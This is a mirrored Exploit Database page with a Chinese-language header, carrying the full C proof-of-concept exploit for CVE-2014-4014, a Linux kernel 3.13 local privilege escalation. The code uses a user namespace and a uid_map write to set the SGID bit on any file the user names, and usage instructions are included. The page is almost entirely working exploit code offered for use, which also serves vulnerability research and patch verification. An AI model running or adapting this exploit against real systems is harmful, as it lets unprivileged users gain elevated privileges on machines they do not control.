Linux Kernel 3.13 – SGID Privilege Escalation

• Exploit Database
• 9 阅读

• 作者： Vitaly Nikolenko
  日期： 2014-06-21
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/33824/

• /**
   * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
   *
   * Vitaly Nikolenko
   * http://hashcrack.org
   *
   * Usage: ./poc [file_path]
   * 
   * where file_path is the file on which you want to set the sgid bit
   */
  #define _GNU_SOURCE
  #include <sys/wait.h>
  #include <sched.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <fcntl.h>
  #include <limits.h>
  #include <string.h>
  #include <assert.h>
  
  #define STACK_SIZE (1024 * 1024)
  static char child_stack[STACK_SIZE];
  
  struct args {
  int pipe_fd[2];
  char *file_path;
  };
  
  static int child(void *arg) {
  struct args *f_args = (struct args *)arg;
  char c;
  
  // close stdout
  close(f_args->pipe_fd[1]); 
  
  assert(read(f_args->pipe_fd[0], &c, 1) == 0);
  
  // set the setgid bit
  chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
  
  return 0;
  }
  
  int main(int argc, char *argv[]) {
  int fd;
  pid_t pid;
  char mapping[1024];
  char map_file[PATH_MAX];
  struct args f_args;
  
  assert(argc == 2);
  
  f_args.file_path = argv[1];
  // create a pipe for synching the child and parent
  assert(pipe(f_args.pipe_fd) != -1);
  
  pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
  assert(pid != -1);
  
  // get the current uid outside the namespace
  snprintf(mapping, 1024, "0 %d 1\n", getuid()); 
  
  // update uid and gid maps in the child
  snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
  fd = open(map_file, O_RDWR); assert(fd != -1);
  
  assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
  close(f_args.pipe_fd[1]);
  
  assert (waitpid(pid, NULL, 0) != -1);
  }